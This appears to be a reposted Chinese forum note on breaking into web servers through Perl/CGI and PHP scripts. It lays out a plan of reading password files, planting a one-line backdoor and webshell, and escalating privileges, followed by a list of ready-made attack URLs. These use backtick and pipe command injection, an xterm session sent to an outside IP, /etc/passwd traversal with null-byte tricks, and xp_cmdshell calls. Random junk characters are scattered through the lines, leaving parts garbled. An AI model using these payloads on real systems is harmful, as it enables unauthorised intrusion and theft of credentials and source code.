总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
/ \2 ]6 @1 b7 }% D" O$ p0 }, W8 v) lcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 . M% h2 s, J, `# S
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
2 n4 F6 x. d' G" V" O) n注“ " g# Q, R/ U8 K- `
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
, p9 c0 j- B, u以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
+ P# F4 b' V8 O
# q: |' |: \9 U4 ~5 Jhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
$ c' N: X! w$ l3 _; k1 lhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 ]% k% u4 Z0 Y/ [( e8 P5 y$ c
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
3 k# J' Z2 W4 T+ }; Z |3 Jhttp://target.com/cgi-bin/home/news/sub.pl?`id`
; `. o9 c+ P+ t3 thttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` ' c: @5 b1 t, }1 \0 O
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
9 j# |4 e0 @% d" F1 m: k( F$ @2 J3 F/ h5 H
http://target.com/test.pl;ls|
: F; h( K' {9 `" P) X! yhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| * ~& N$ }+ z, R4 f: G8 l# y6 d+ ]
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
0 R3 k5 {+ @* R" I& Z5 bhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 2 d- W, H% n7 s- g* j; q* w- C
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
% N# Q2 O' f9 H, H2 u1 Jhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
% F. A& T) {# y" N9 {4 ?4 h2 k6 I
http://target.com/test.pl?&........ /../../etc/passwd
4 g, z% w+ W7 A$ M( _. H! b; h" M; I1 r( B7 {0 y" r
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
; ~+ b2 N2 `) M0 M% g* hhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 & [& {; b: q% r b/ ?
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 1 g# M" X5 `8 W
. h$ \2 _1 m4 bhttp://www.target.org/show.php?f ... /include/config.php 查看php代码 6 N) f9 `1 Z1 P: A
http://www.target.org/show.php?f ... ng/admin/global.php $ A. ], \+ D2 s: A( y5 b, u1 q
( N( h5 c" N* E* f5 m1 F0 `1 J
emm和ps的一句话. C2 I9 R) b6 G% S* A1 Z
1 ~) v( U9 E5 jhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 , B. g7 T4 q; F2 `" G
" G, ~4 c5 `1 A4 R. V% E( b0 x6 Z>bbb%20| 8 c- c& z: @) o& \9 v2 z' Z
$ _5 A2 @; s0 Y# v7 }6 P
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
3 L0 S/ v8 k" b' g4 U3 m9 S# p
# W F+ W% G5 G* G5 i- U8 ^+ ]8 X, Hhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 ( r$ c$ ]. z4 \8 K" u) X
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
& W8 w/ b: G9 A; R; H- m2 g' `% v& }9 A0 V; i) m0 O" K
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 / L8 R1 z) L! c% R4 A, X
http://target.com/index.html#cmd.exe
* [, T9 @' K( F) M# Hhttp://target.com/index.html?dummyparam=xp_cmdshell
9 q" m1 R. B' N% q ylynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 7 N7 a K+ ?+ n& [9 Y" x! K9 k
|